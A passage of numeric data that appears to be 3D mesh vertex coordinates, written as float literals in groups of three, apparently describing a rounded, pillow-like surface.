-0.864233f,-0.822169f,0.054004f,-0.809968f,-0.828995f,0.061777f,-0.824221f,-0.752861f,0.067487f,-0.885862f,-0.749245f,0.058224f, -0.726455f,-0.89991f,0.058224f,-0.612405f,-0.916988f,0.061789f,-0.614352f,-0.854962f,0.071886f,-0.730326f,-0.842312f,0.067487f, -0.612405f,-0.916988f,0.061789f,-0.392243f,-0.928623f,0.064218f,-0.39312f,-0.8642f,0.074693f,-0.614352f,-0.854962f,0.071886f, -0.614352f,-0.854962f,0.071886f,-0.39312f,-0.8642f,0.074693f,-0.395094f,-0.775509f,0.082561f,-0.618732f,-0.768902f,0.079479f, -0.730326f,-0.842312f,0.067487f,-0.614352f,-0.854962f,0.071886f,-0.618732f,-0.768902f,0.079479f,-0.738488f,-0.760488f,0.074426f, -0.738488f,-0.760488f,0.074426f,-0.618732f,-0.768902f,0.079479f,-0.624085f,-0.648442f,0.084918f,-0.747494f,-0.64344f,0.079479f, -0.618732f,-0.768902f,0.079479f,-0.395094f,-0.775509f,0.082561f,-0.397505f,-0.652534f,0.088189f,-0.624085f,-0.648442f,0.084918f, -0.624085f,-0.648442f,0.084918f,-0.397505f,-0.652534f,0.088189f,-0.399478f,-0.422739f,0.09157f,-0.628465f,-0.420911f,0.088189f, -0.747494f,-0.64344f,0.079479f,-0.624085f,-0.648442f,0.084918f,-0.628465f,-0.420911f,0.088189f,-0.754564f,-0.418675f,0.082561f, -0.885862f,-0.749245f,0.058224f,-0.824221f,-0.752861f,0.067487f,-0.837759f,-0.639347f,0.071886f,-0.90414f,-0.637528f,0.061789f, -0.824221f,-0.752861f,0.067487f,-0.738488f,-0.760488f,0.074426f,-0.747494f,-0.64344f,0.079479f,-0.837759f,-0.639347f,0.071886f, -0.837759f,-0.639347f,0.071886f,-0.747494f,-0.64344f,0.079479f,-0.754564f,-0.418675f,0.082561f,-0.847646f,-0.416846f,0.074693f, -0.90414f,-0.637528f,0.061789f,-0.837759f,-0.639347f,0.071886f,-0.847646f,-0.416846f,0.074693f,-0.916591f,-0.416033f,0.064218f, -0.399478f,-0.422739f,0.09157f,-0.397505f,-0.652534f,0.088189f,0.002274f,-0.653898f,0.089279f,0.002265f,-0.423349f,0.092698f, -0.397505f,-0.652534f,0.088189f,-0.395094f,-0.775509f,0.082561f,0.002284f,-0.777711f,0.083588f,0.002274f,-0.653898f,0.089279f, 0.002274f,-0.653898f,0.089279f,0.002284f,-0.777711f,0.083588f,0.399509f,-0.775509f,0.082561f,0.401892f,-0.652534f,0.088189f, 0.002265f,-0.423349f,0.092698f,0.002274f,-0.653898f,0.089279f,0.401892f,-0.652534f,0.088189f,0.403842f,-0.422739f,0.09157f, -0.395094f,-0.775509f,0.082561f,-0.39312f,-0.8642f,0.074693f,0.002293f,-0.867279f,0.075629f,0.002284f,-0.777711f,0.083588f, -0.39312f,-0.8642f,0.074693f,-0.392243f,-0.928623f,0.064218f,0.002297f,-0.932501f,0.065028f,0.002293f,-0.867279f,0.075629f, 0.002293f,-0.867279f,0.075629f,0.002297f,-0.932501f,0.065028f,0.396693f,-0.928623f,0.064218f,0.397559f,-0.8642f,0.074693f, 0.002284f,-0.777711f,0.083588f,0.002293f,-0.867279f,0.075629f,0.397559f,-0.8642f,0.074693f,0.399509f,-0.775509f,0.082561f, -0.399478f,-0.422739f,0.09157f,0.002265f,-0.423349f,0.092698f,0.002263f,-0.013572f,0.093837f,-0.400136f,-0.013589f,0.092698f, 0.002265f,-0.423349f,0.092698f,0.403842f,-0.422739f,0.09157f,0.404492f,-0.013589f,0.092698f,0.002263f,-0.013572f,0.093837f, 0.002263f,-0.013572f,0.093837f,0.404492f,-0.013589f,0.092698f,0.403842f,0.396564f,0.09157f,0.002265f,0.397221f,0.092698f, -0.400136f,-0.013589f,0.092698f,0.002263f,-0.013572f,0.093837f,0.002265f,0.397221f,0.092698f,-0.399478f,0.396564f,0.09157f, -0.754564f,0.392188f,0.082561f,-0.847646f,0.390218f,0.074693f,-0.850941f,-0.013754f,0.075629f,-0.756921f,-0.013703f,0.083588f, -0.847646f,0.390218f,0.074693f,-0.916591f,0.389343f,0.064218f,-0.920742f,-0.013776f,0.065028f,-0.850941f,-0.013754f,0.075629f, -0.850941f,-0.013754f,0.075629f,-0.920742f,-0.013776f,0.065028f,-0.916591f,-0.416033f,0.064218f,-0.847646f,-0.416846f,0.074693f, -0.756921f,-0.013703f,0.083588f,-0.850941f,-0.013754f,0.075629f,-0.847646f,-0.416846f,0.074693f,-0.754564f,-0.418675f,0.082561f, -0.754564f,0.392188f,0.082561f,-0.756921f,-0.013703f,0.083588f,-0.629925f,-0.01364f,0.089279f,-0.628465f,0.394595f,0.088189f, -0.756921f,-0.013703f,0.083588f,-0.754564f,-0.418675f,0.082561f,-0.628465f,-0.420911f,0.088189f,-0.629925f,-0.01364f,0.089279f, -0.629925f,-0.01364f,0.089279f,-0.628465f,-0.420911f,0.088189f,-0.399478f,-0.422739f,0.09157f,-0.400136f,-0.013589f,0.092698f, -0.628465f,0.394595f,0.088189f,-0.629925f,-0.01364f,0.089279f,-0.400136f,-0.013589f,0.092698f,-0.399478f,0.396564f,0.09157f, -0.844501f,0.846382f,0.050154f,-0.802664f,0.865969f,0.054004f,-0.814648f,0.914535f,0.037876f,-0.871108f,0.872793f,0.036675f, -0.802664f,0.865969f,0.054004f,-0.726455f,0.887439f,0.058224f,-0.733131f,0.94538f,0.040237f,-0.814648f,0.914535f,0.037876f, -0.814648f,0.914535f,0.037876f,-0.733131f,0.94538f,0.040237f,-0.74278f,0.982563f,0.019733f,-0.830745f,0.945555f,0.018815f, -0.871108f,0.872793f,0.036675f,-0.814648f,0.914535f,0.037876f,-0.830745f,0.945555f,0.018815f,-0.894756f,0.896267f,0.018385f, -0.726455f,0.887439f,0.058224f,-0.612405f,0.905582f,0.061789f,-0.615909f,0.968735f,0.042517f,-0.733131f,0.94538f,0.040237f, -0.612405f,0.905582f,0.061789f,-0.392243f,0.917941f,0.064218f,-0.393822f,0.983443f,0.044197f,-0.615909f,0.968735f,0.042517f, -0.615909f,0.968735f,0.042517f,-0.393822f,0.983443f,0.044197f,-0.396235f,1.025424f,0.021594f,-0.621266f,1.009264f,0.020771f, -0.733131f,0.94538f,0.040237f,-0.615909f,0.968735f,0.042517f,-0.621266f,1.009264f,0.020771f,-0.74278f,0.982563f,0.019733f, -0.621266f,1.009264f,0.020771f,-0.396235f,1.025424f,0.021594f,-0.398382f,1.047552f,0.0f,-0.626031f,1.030658f,0.0f, -0.74278f,0.982563f,0.019733f,-0.621266f,1.009264f,0.020771f,-0.626031f,1.030658f,0.0f,-0.750636f,1.002556f,0.0f, -0.830745f,0.945555f,0.018815f,-0.74278f,0.982563f,0.019733f,-0.750636f,1.002556f,0.0f,-0.842153f,0.963302f,0.0f, -0.894756f,0.896267f,0.018385f,-0.830745f,0.945555f,0.018815f,-0.842153f,0.963302f,0.0f,-0.909674f,0.911075f,0.0f, -0.398382f,1.047552f,0.0f,-0.396235f,1.025424f,0.021594f,0.002279f,1.030811f,0.021869f,0.00227f,1.053183f,0.0f, 0.002279f,1.030811f,0.021869f,-0.396235f,1.025424f,0.021594f,-0.393822f,0.983443f,0.044197f,0.00229f,0.988345f,0.044757f, 0.400637f,1.025424f,0.021594f,0.002279f,1.030811f,0.021869f,0.00229f,0.988345f,0.044757f,0.398253f,0.983443f,0.044197f, 0.00227f,1.053183f,0.0f,0.002279f,1.030811f,0.021869f,0.400637f,1.025424f,0.021594f,0.402758f,1.047552f,0.0f, -0.393822f,0.983443f,0.044197f,-0.392243f,0.917941f,0.064218f,0.002297f,0.922061f,0.065028f,0.00229f,0.988345f,0.044757f, 0.00229f,0.988345f,0.044757f,0.002297f,0.922061f,0.065028f,0.396693f,0.917941f,0.064218f,0.398253f,0.983443f,0.044197f, 0.396693f,-0.928623f,0.064218f,0.002297f,-0.932501f,0.065028f,0.00229f,-0.994896f,0.044757f,0.398253f,-0.990281f,0.044197f, 0.002297f,-0.932501f,0.065028f,-0.392243f,-0.928623f,0.064218f,-0.393822f,-0.990281f,0.044197f,0.00229f,-0.994896f,0.044757f, 0.00229f,-0.994896f,0.044757f,-0.393822f,-0.990281f,0.044197f,-0.396235f,-1.0298f,0.021594f,0.002279f,-1.034871f,0.021869f, 0.398253f,-0.990281f,0.044197f,0.00229f,-0.994896f,0.044757f,0.002279f,-1.034871f,0.021869f,0.400637f,-1.0298f,0.021594f, -0.396235f,-1.0298f,0.021594f,-0.398382f,-1.050629f,0.0f,0.00227f,-1.05593f,0.0f,0.002279f,-1.034871f,0.021869f, 0.002279f,-1.034871f,0.021869f,0.00227f,-1.05593f,0.0f,0.402758f,-1.050629f,0.0f,0.400637f,-1.0298f,0.021594f, -0.909674f,-0.922159f,0.0f,-0.842153f,-0.971323f,0.0f,-0.830745f,-0.954616f,0.018815f,-0.894756f,-0.90822f,0.018385f, -0.842153f,-0.971323f,0.0f,-0.750636f,-1.008273f,0.0f,-0.74278f,-0.989453f,0.019733f,-0.830745f,-0.954616f,0.018815f, -0.830745f,-0.954616f,0.018815f,-0.74278f,-0.989453f,0.019733f,-0.733131f,-0.954452f,0.040237f,-0.814648f,-0.925416f,0.037876f, -0.894756f,-0.90822f,0.018385f,-0.830745f,-0.954616f,0.018815f,-0.814648f,-0.925416f,0.037876f,-0.871108f,-0.886124f,0.036675f, -0.750636f,-1.008273f,0.0f,-0.626031f,-1.034726f,0.0f,-0.621266f,-1.014588f,0.020771f,-0.74278f,-0.989453f,0.019733f, -0.626031f,-1.034726f,0.0f,-0.398382f,-1.050629f,0.0f,-0.396235f,-1.0298f,0.021594f,-0.621266f,-1.014588f,0.020771f, -0.621266f,-1.014588f,0.020771f,-0.396235f,-1.0298f,0.021594f,-0.393822f,-0.990281f,0.044197f,-0.615909f,-0.976437f,0.042517f, -0.74278f,-0.989453f,0.019733f,-0.621266f,-1.014588f,0.020771f,-0.615909f,-0.976437f,0.042517f,-0.733131f,-0.954452f,0.040237f, -0.615909f,-0.976437f,0.042517f,-0.393822f,-0.990281f,0.044197f,-0.392243f,-0.928623f,0.064218f,-0.612405f,-0.916988f,0.061789f, -0.733131f,-0.954452f,0.040237f,-0.615909f,-0.976437f,0.042517f,-0.612405f,-0.916988f,0.061789f,-0.726455f,-0.89991f,0.058224f, -0.814648f,-0.925416f,0.037876f,-0.733131f,-0.954452f,0.040237f,-0.726455f,-0.89991f,0.058224f,-0.802664f,-0.8797f,0.054004f, -0.871108f,-0.886124f,0.036675f,-0.814648f,-0.925416f,0.037876f,-0.802664f,-0.8797f,0.054004f,-0.844501f,-0.861263f,0.050154f, 0.846982f,-0.861263f,0.050154f,0.87333f,-0.886124f,0.036675f,0.914973f,-0.833367f,0.037876f,0.866523f,-0.822169f,0.054004f, 0.914973f,-0.833367f,0.037876f,0.87333f,-0.886124f,0.036675f,0.896749f,-0.90822f,0.018385f,0.94592f,-0.848408f,0.018815f, 0.945745f,-0.755482f,0.040237f,0.914973f,-0.833367f,0.037876f,0.94592f,-0.848408f,0.018815f,0.982841f,-0.764498f,0.019733f, 0.866523f,-0.822169f,0.054004f,0.914973f,-0.833367f,0.037876f,0.945745f,-0.755482f,0.040237f,0.887941f,-0.749245f,0.058224f, 0.896749f,-0.90822f,0.018385f,0.911522f,-0.922159f,0.0f,0.963626f,-0.859068f,0.0f,0.94592f,-0.848408f,0.018815f, 0.94592f,-0.848408f,0.018815f,0.963626f,-0.859068f,0.0f,1.002787f,-0.771839f,0.0f,0.982841f,-0.764498f,0.019733f, 0.945745f,-0.755482f,0.040237f,0.982841f,-0.764498f,0.019733f,1.009478f,-0.645808f,0.020771f,0.969045f,-0.640802f,0.042517f, 0.982841f,-0.764498f,0.019733f,1.002787f,-0.771839f,0.0f,1.030822f,-0.650261f,0.0f,1.009478f,-0.645808f,0.020771f, 1.009478f,-0.645808f,0.020771f,1.030822f,-0.650261f,0.0f,1.047675f,-0.421723f,0.0f,1.025601f,-0.419734f,0.021594f, 1.009478f,-0.645808f,0.020771f,1.025601f,-0.419734f,0.021594f,0.983719f,-0.417497f,0.044197f,0.969045f,-0.640802f,0.042517f, 0.887941f,-0.749245f,0.058224f,0.945745f,-0.755482f,0.040237f,0.969045f,-0.640802f,0.042517f,0.906041f,-0.637528f,0.061789f, 0.906041f,-0.637528f,0.061789f,0.969045f,-0.640802f,0.042517f,0.983719f,-0.417497f,0.044197f,0.918372f,-0.416033f,0.064218f, 0.918372f,-0.416033f,0.064218f,0.983719f,-0.417497f,0.044197f,0.98861f,-0.013736f,0.044757f,0.922482f,-0.013776f,0.065028f, 0.98861f,-0.013736f,0.044757f,0.983719f,-0.417497f,0.044197f,1.025601f,-0.419734f,0.021594f,1.030975f,-0.013673f,0.021869f, 0.983719f,0.390919f,0.044197f,0.98861f,-0.013736f,0.044757f,1.030975f,-0.013673f,0.021869f,1.025601f,0.393327f,0.021594f, 0.922482f,-0.013776f,0.065028f,0.98861f,-0.013736f,0.044757f,0.983719f,0.390919f,0.044197f,0.918372f,0.389343f,0.064218f, 1.025601f,-0.419734f,0.021594f,1.047675f,-0.421723f,0.0f,1.053293f,-0.013618f,0.0f,1.030975f,-0.013673f,0.021869f, 1.030975f,-0.013673f,0.021869f,1.053293f,-0.013618f,0.0f,1.047675f,0.39547f,0.0f,1.025601f,0.393327f,0.021594f, -0.909674f,-0.922159f,0.0f,-0.894756f,-0.90822f,0.018385f,-0.944409f,-0.848408f,0.018815f,-0.962289f,-0.859068f,0.0f, -0.944409f,-0.848408f,0.018815f,-0.894756f,-0.90822f,0.018385f,-0.871108f,-0.886124f,0.036675f,-0.913159f,-0.833367f,0.037876f, -0.981692f,-0.764498f,0.019733f,-0.944409f,-0.848408f,0.018815f,-0.913159f,-0.833367f,0.037876f,-0.944233f,-0.755482f,0.040237f, -0.962289f,-0.859068f,0.0f,-0.944409f,-0.848408f,0.018815f,-0.981692f,-0.764498f,0.019733f,-1.001834f,-0.771839f,0.0f, -0.871108f,-0.886124f,0.036675f,-0.844501f,-0.861263f,0.050154f,-0.864233f,-0.822169f,0.054004f,-0.913159f,-0.833367f,0.037876f, -0.913159f,-0.833367f,0.037876f,-0.864233f,-0.822169f,0.054004f,-0.885862f,-0.749245f,0.058224f,-0.944233f,-0.755482f,0.040237f, -0.981692f,-0.764498f,0.019733f,-0.944233f,-0.755482f,0.040237f,-0.967761f,-0.640802f,0.042517f,-1.008591f,-0.645808f,0.020771f, -0.944233f,-0.755482f,0.040237f,-0.885862f,-0.749245f,0.058224f,-0.90414f,-0.637528f,0.061789f,-0.967761f,-0.640802f,0.042517f, -0.967761f,-0.640802f,0.042517f,-0.90414f,-0.637528f,0.061789f,-0.916591f,-0.416033f,0.064218f,-0.982578f,-0.417497f,0.044197f, -0.967761f,-0.640802f,0.042517f,-0.982578f,-0.417497f,0.044197f,-1.024871f,-0.419734f,0.021594f,-1.008591f,-0.645808f,0.020771f, -1.001834f,-0.771839f,0.0f,-0.981692f,-0.764498f,0.019733f,-1.008591f,-0.645808f,0.020771f,-1.030143f,-0.650261f,0.0f, -1.030143f,-0.650261f,0.0f,-1.008591f,-0.645808f,0.020771f,-1.024871f,-0.419734f,0.021594f,-1.047163f,-0.421723f,0.0f, -1.047163f,0.39547f,0.0f,-1.052836f,-0.013618f,0.0f,-1.030298f,-0.013673f,0.021869f,-1.024871f,0.393327f,0.021594f, -1.052836f,-0.013618f,0.0f,-1.047163f,-0.421723f,0.0f,-1.024871f,-0.419734f,0.021594f,-1.030298f,-0.013673f,0.021869f, -1.030298f,-0.013673f,0.021869f,-1.024871f,-0.419734f,0.021594f,-0.982578f,-0.417497f,0.044197f,-0.987517f,-0.013736f,0.044757f, -1.024871f,0.393327f,0.021594f,-1.030298f,-0.013673f,0.021869f,-0.987517f,-0.013736f,0.044757f,-0.982578f,0.390919f,0.044197f, -0.982578f,-0.417497f,0.044197f,-0.916591f,-0.416033f,0.064218f,-0.920742f,-0.013776f,0.065028f,-0.987517f,-0.013736f,0.044757f, -0.987517f,-0.013736f,0.044757f,-0.920742f,-0.013776f,0.065028f,-0.916591f,0.389343f,0.064218f,-0.982578f,0.390919f,0.044197f, 0.396693f,0.917941f,0.064218f,0.616423f,0.905582f,0.061789f,0.619893f,0.968735f,0.042517f,0.398253f,0.983443f,0.044197f, 0.616423f,0.905582f,0.061789f,0.729904f,0.887439f,0.058224f,0.736514f,0.94538f,0.040237f,0.619893f,0.968735f,0.042517f, 0.619893f,0.968735f,0.042517f,0.736514f,0.94538f,0.040237f,0.746069f,0.982563f,0.019733f,0.625198f,1.009264f,0.020771f, 0.400637f,1.025424f,0.021594f,0.398253f,0.983443f,0.044197f,0.619893f,0.968735f,0.042517f,0.625198f,1.009264f,0.020771f, 0.729904f,0.887439f,0.058224f,0.805551f,0.865969f,0.054004f,0.817418f,0.914535f,0.037876f,0.736514f,0.94538f,0.040237f, 0.805551f,0.865969f,0.054004f,0.846982f,0.846382f,0.050154f,0.87333f,0.872793f,0.036675f,0.817418f,0.914535f,0.037876f, 0.817418f,0.914535f,0.037876f,0.87333f,0.872793f,0.036675f,0.896749f,0.896267f,0.018385f,0.833359f,0.945555f,0.018815f, 0.736514f,0.94538f,0.040237f,0.817418f,0.914535f,0.037876f,0.833359f,0.945555f,0.018815f,0.746069f,0.982563f,0.019733f, 0.833359f,0.945555f,0.018815f,0.896749f,0.896267f,0.018385f,0.911522f,0.911075f,0.0f,0.844656f,0.963302f,0.0f, 0.746069f,0.982563f,0.019733f,0.833359f,0.945555f,0.018815f,0.844656f,0.963302f,0.0f,0.753849f,1.002556f,0.0f, 0.625198f,1.009264f,0.020771f,0.746069f,0.982563f,0.019733f,0.753849f,1.002556f,0.0f,0.629917f,1.030658f,0.0f, 0.400637f,1.025424f,0.021594f,0.625198f,1.009264f,0.020771f,0.629917f,1.030658f,0.0f,0.402758f,1.047552f,0.0f, 0.396693f,-0.928623f,0.064218f,0.398253f,-0.990281f,0.044197f,0.619893f,-0.976437f,0.042517f,0.616423f,-0.916988f,0.061789f, 0.619893f,-0.976437f,0.042517f,0.398253f,-0.990281f,0.044197f,0.400637f,-1.0298f,0.021594f,0.625198f,-1.014588f,0.020771f, 0.736514f,-0.954452f,0.040237f,0.619893f,-0.976437f,0.042517f,0.625198f,-1.014588f,0.020771f,0.746069f,-0.989453f,0.019733f, 0.616423f,-0.916988f,0.061789f,0.619893f,-0.976437f,0.042517f,0.736514f,-0.954452f,0.040237f,0.729904f,-0.89991f,0.058224f, 0.400637f,-1.0298f,0.021594f,0.402758f,-1.050629f,0.0f,0.629917f,-1.034726f,0.0f,0.625198f,-1.014588f,0.020771f, 0.625198f,-1.014588f,0.020771f,0.629917f,-1.034726f,0.0f,0.753849f,-1.008273f,0.0f,0.746069f,-0.989453f,0.019733f, 0.736514f,-0.954452f,0.040237f,0.746069f,-0.989453f,0.019733f,0.833359f,-0.954616f,0.018815f,0.817418f,-0.925416f,0.037876f, 0.746069f,-0.989453f,0.019733f,0.753849f,-1.008273f,0.0f,0.844656f,-0.971323f,0.0f,0.833359f,-0.954616f,0.018815f, 0.833359f,-0.954616f,0.018815f,0.844656f,-0.971323f,0.0f,0.911522f,-0.922159f,0.0f,0.896749f,-0.90822f,0.018385f, 0.833359f,-0.954616f,0.018815f,0.896749f,-0.90822f,0.018385f,0.87333f,-0.886124f,0.036675f,0.817418f,-0.925416f,0.037876f, 0.729904f,-0.89991f,0.058224f,0.736514f,-0.954452f,0.040237f,0.817418f,-0.925416f,0.037876f,0.805551f,-0.8797f,0.054004f, 0.805551f,-0.8797f,0.054004f,0.817418f,-0.925416f,0.037876f,0.87333f,-0.886124f,0.036675f,0.846982f,-0.861263f,0.050154f, 0.403842f,-0.422739f,0.09157f,0.401892f,-0.652534f,0.088189f,0.62799f,-0.648441f,0.084918f,0.632327f,-0.420911f,0.088189f, 0.401892f,-0.652534f,0.088189f,0.399509f,-0.775509f,0.082561f,0.622688f,-0.768902f,0.079479f,0.62799f,-0.648441f,0.084918f, 0.62799f,-0.648441f,0.084918f,0.622688f,-0.768902f,0.079479f,0.741819f,-0.760488f,0.074426f,0.750737f,-0.64344f,0.079479f, 0.632327f,-0.420911f,0.088189f,0.62799f,-0.648441f,0.084918f,0.750737f,-0.64344f,0.079479f,0.757739f,-0.418675f,0.082561f, 0.399509f,-0.775509f,0.082561f,0.397559f,-0.8642f,0.074693f,0.618351f,-0.854962f,0.071886f,0.622688f,-0.768902f,0.079479f, 0.397559f,-0.8642f,0.074693f,0.396693f,-0.928623f,0.064218f,0.616423f,-0.916988f,0.061789f,0.618351f,-0.854962f,0.071886f, 0.618351f,-0.854962f,0.071886f,0.616423f,-0.916988f,0.061789f,0.729904f,-0.89991f,0.058224f,0.733736f,-0.842312f,0.067487f, 0.622688f,-0.768902f,0.079479f,0.618351f,-0.854962f,0.071886f,0.733736f,-0.842312f,0.067487f,0.741819f,-0.760488f,0.074426f, 0.741819f,-0.760488f,0.074426f,0.733736f,-0.842312f,0.067487f,0.812784f,-0.828995f,0.061777f,0.826898f,-0.752861f,0.067487f, 0.733736f,-0.842312f,0.067487f,0.729904f,-0.89991f,0.058224f,0.805551f,-0.8797f,0.054004f,0.812784f,-0.828995f,0.061777f, 0.812784f,-0.828995f,0.061777f,0.805551f,-0.8797f,0.054004f,0.846982f,-0.861263f,0.050154f,0.866523f,-0.822169f,0.054004f, 0.826898f,-0.752861f,0.067487f,0.812784f,-0.828995f,0.061777f,0.866523f,-0.822169f,0.054004f,0.887941f,-0.749245f,0.058224f, 0.757739f,-0.418675f,0.082561f,0.750737f,-0.64344f,0.079479f,0.840305f,-0.639347f,0.071886f,0.850096f,-0.416846f,0.074693f, 0.750737f,-0.64344f,0.079479f,0.741819f,-0.760488f,0.074426f,0.826898f,-0.752861f,0.067487f,0.840305f,-0.639347f,0.071886f, 0.840305f,-0.639347f,0.071886f,0.826898f,-0.752861f,0.067487f,0.887941f,-0.749245f,0.058224f,0.906041f,-0.637528f,0.061789f, 0.850096f,-0.416846f,0.074693f,0.840305f,-0.639347f,0.071886f,0.906041f,-0.637528f,0.061789f,0.918372f,-0.416033f,0.064218f, 0.403842f,0.396564f,0.09157f,0.404492f,-0.013589f,0.092698f,0.633773f,-0.01364f,0.08928f,0.632327f,0.394595f,0.088189f, 0.404492f,-0.013589f,0.092698f,0.403842f,-0.422739f,0.09157f,0.632327f,-0.420911f,0.088189f,0.633773f,-0.01364f,0.08928f, 0.633773f,-0.01364f,0.08928f,0.632327f,-0.420911f,0.088189f,0.757739f,-0.418675f,0.082561f,0.760073f,-0.013703f,0.083588f, 0.632327f,0.394595f,0.088189f,0.633773f,-0.01364f,0.08928f,0.760073f,-0.013703f,0.083588f,0.757739f,0.392188f,0.082561f, 0.757739f,-0.418675f,0.082561f,0.850096f,-0.416846f,0.074693f,0.853359f,-0.013754f,0.075629f,0.760073f,-0.013703f,0.083588f, 0.850096f,-0.416846f,0.074693f,0.918372f,-0.416033f,0.064218f,0.922482f,-0.013776f,0.065028f,0.853359f,-0.013754f,0.075629f, 0.853359f,-0.013754f,0.075629f,0.922482f,-0.013776f,0.065028f,0.918372f,0.389343f,0.064218f,0.850096f,0.390218f,0.074693f, 0.760073f,-0.013703f,0.083588f,0.853359f,-0.013754f,0.075629f,0.850096f,0.390218f,0.074693f,0.757739f,0.392188f,0.082561f, -1.047163f,0.39547f,0.0f,-1.024871f,0.393327f,0.021594f,-1.008591f,0.622221f,0.020771f,-1.030143f,0.626951f,0.0f, -1.008591f,0.622221f,0.020771f,-1.024871f,0.393327f,0.021594f,-0.982578f,0.390919f,0.044197f,-0.967761f,0.616903f,0.042517f, -0.981692f,0.744767f,0.019733f,-1.008591f,0.622221f,0.020771f,-0.967761f,0.616903f,0.042517f,-0.944233f,0.735189f,0.040237f, -1.030143f,0.626951f,0.0f,-1.008591f,0.622221f,0.020771f,-0.981692f,0.744767f,0.019733f,-1.001834f,0.752565f,0.0f, -0.982578f,0.390919f,0.044197f,-0.916591f,0.389343f,0.064218f,-0.90414f,0.613425f,0.061789f,-0.967761f,0.616903f,0.042517f, -0.967761f,0.616903f,0.042517f,-0.90414f,0.613425f,0.061789f,-0.885862f,0.728563f,0.058224f,-0.944233f,0.735189f,0.040237f, -0.981692f,0.744767f,0.019733f,-0.944233f,0.735189f,0.040237f,-0.913159f,0.816749f,0.037876f,-0.944409f,0.832727f,0.018815f, -0.944233f,0.735189f,0.040237f,-0.885862f,0.728563f,0.058224f,-0.864233f,0.804853f,0.054004f,-0.913159f,0.816749f,0.037876f, -0.913159f,0.816749f,0.037876f,-0.864233f,0.804853f,0.054004f,-0.844501f,0.846382f,0.050154f,-0.871108f,0.872793f,0.036675f, -0.913159f,0.816749f,0.037876f,-0.871108f,0.872793f,0.036675f,-0.894756f,0.896267f,0.018385f,-0.944409f,0.832727f,0.018815f, -1.001834f,0.752565f,0.0f,-0.981692f,0.744767f,0.019733f,-0.944409f,0.832727f,0.018815f,-0.962289f,0.844051f,0.0f, -0.962289f,0.844051f,0.0f,-0.944409f,0.832727f,0.018815f,-0.894756f,0.896267f,0.018385f,-0.909674f,0.911075f,0.0f, 0.918372f,0.389343f,0.064218f,0.983719f,0.390919f,0.044197f,0.969045f,0.616903f,0.042517f,0.906041f,0.613425f,0.061789f, 0.969045f,0.616903f,0.042517f,0.983719f,0.390919f,0.044197f,1.025601f,0.393327f,0.021594f,1.009478f,0.622221f,0.020771f, 0.945745f,0.735189f,0.040237f,0.969045f,0.616903f,0.042517f,1.009478f,0.622221f,0.020771f,0.982841f,0.744767f,0.019733f, 0.906041f,0.613425f,0.061789f,0.969045f,0.616903f,0.042517f,0.945745f,0.735189f,0.040237f,0.887941f,0.728563f,0.058224f, 1.025601f,0.393327f,0.021594f,1.047675f,0.39547f,0.0f,1.030822f,0.626951f,0.0f,1.009478f,0.622221f,0.020771f, 1.009478f,0.622221f,0.020771f,1.030822f,0.626951f,0.0f,1.002787f,0.752565f,0.0f,0.982841f,0.744767f,0.019733f, 0.945745f,0.735189f,0.040237f,0.982841f,0.744767f,0.019733f,0.94592f,0.832727f,0.018815f,0.914973f,0.816749f,0.037876f, 0.982841f,0.744767f,0.019733f,1.002787f,0.752565f,0.0f,0.963626f,0.844051f,0.0f,0.94592f,0.832727f,0.018815f, 0.94592f,0.832727f,0.018815f,0.963626f,0.844051f,0.0f,0.911522f,0.911075f,0.0f,0.896749f,0.896267f,0.018385f, 0.94592f,0.832727f,0.018815f,0.896749f,0.896267f,0.018385f,0.87333f,0.872793f,0.036675f,0.914973f,0.816749f,0.037876f, 0.887941f,0.728563f,0.058224f,0.945745f,0.735189f,0.040237f,0.914973f,0.816749f,0.037876f,0.866523f,0.804853f,0.054004f, 0.866523f,0.804853f,0.054004f,0.914973f,0.816749f,0.037876f,0.87333f,0.872793f,0.036675f,0.846982f,0.846382f,0.050154f, 0.396693f,0.917941f,0.064218f,0.397559f,0.849503f,0.074693f,0.618351f,0.83969f,0.071886f,0.616423f,0.905582f,0.061789f, 0.397559f,0.849503f,0.074693f,0.399509f,0.756465f,0.082561f,0.622688f,0.749446f,0.079479f,0.618351f,0.83969f,0.071886f, 0.618351f,0.83969f,0.071886f,0.622688f,0.749446f,0.079479f,0.741819f,0.740507f,0.074426f,0.733736f,0.826251f,0.067487f, 0.616423f,0.905582f,0.061789f,0.618351f,0.83969f,0.071886f,0.733736f,0.826251f,0.067487f,0.729904f,0.887439f,0.058224f, 0.399509f,0.756465f,0.082561f,0.401892f,0.629367f,0.088189f,0.62799f,0.625019f,0.084918f,0.622688f,0.749446f,0.079479f, 0.401892f,0.629367f,0.088189f,0.403842f,0.396564f,0.09157f,0.632327f,0.394595f,0.088189f,0.62799f,0.625019f,0.084918f, 0.62799f,0.625019f,0.084918f,0.632327f,0.394595f,0.088189f,0.757739f,0.392188f,0.082561f,0.750737f,0.619705f,0.079479f, 0.622688f,0.749446f,0.079479f,0.62799f,0.625019f,0.084918f,0.750737f,0.619705f,0.079479f,0.741819f,0.740507f,0.074426f, 0.741819f,0.740507f,0.074426f,0.750737f,0.619705f,0.079479f,0.840305f,0.615357f,0.071886f,0.826898f,0.732405f,0.067487f, 0.750737f,0.619705f,0.079479f,0.757739f,0.392188f,0.082561f,0.850096f,0.390218f,0.074693f,0.840305f,0.615357f,0.071886f, 0.840305f,0.615357f,0.071886f,0.850096f,0.390218f,0.074693f,0.918372f,0.389343f,0.064218f,0.906041f,0.613425f,0.061789f, 0.826898f,0.732405f,0.067487f,0.840305f,0.615357f,0.071886f,0.906041f,0.613425f,0.061789f,0.887941f,0.728563f,0.058224f, 0.729904f,0.887439f,0.058224f,0.733736f,0.826251f,0.067487f,0.812784f,0.812104f,0.061777f,0.805551f,0.865969f,0.054004f, 0.733736f,0.826251f,0.067487f,0.741819f,0.740507f,0.074426f,0.826898f,0.732405f,0.067487f,0.812784f,0.812104f,0.061777f, 0.812784f,0.812104f,0.061777f,0.826898f,0.732405f,0.067487f,0.887941f,0.728563f,0.058224f,0.866523f,0.804853f,0.054004f, 0.805551f,0.865969f,0.054004f,0.812784f,0.812104f,0.061777f,0.866523f,0.804853f,0.054004f,0.846982f,0.846382f,0.050154f, 0.399509f,0.756465f,0.082561f,0.397559f,0.849503f,0.074693f,0.002293f,0.852774f,0.075629f,0.002284f,0.758804f,0.083588f, 0.397559f,0.849503f,0.074693f,0.396693f,0.917941f,0.064218f,0.002297f,0.922061f,0.065028f,0.002293f,0.852774f,0.075629f, 0.002293f,0.852774f,0.075629f,0.002297f,0.922061f,0.065028f,-0.392243f,0.917941f,0.064218f,-0.39312f,0.849503f,0.074693f, 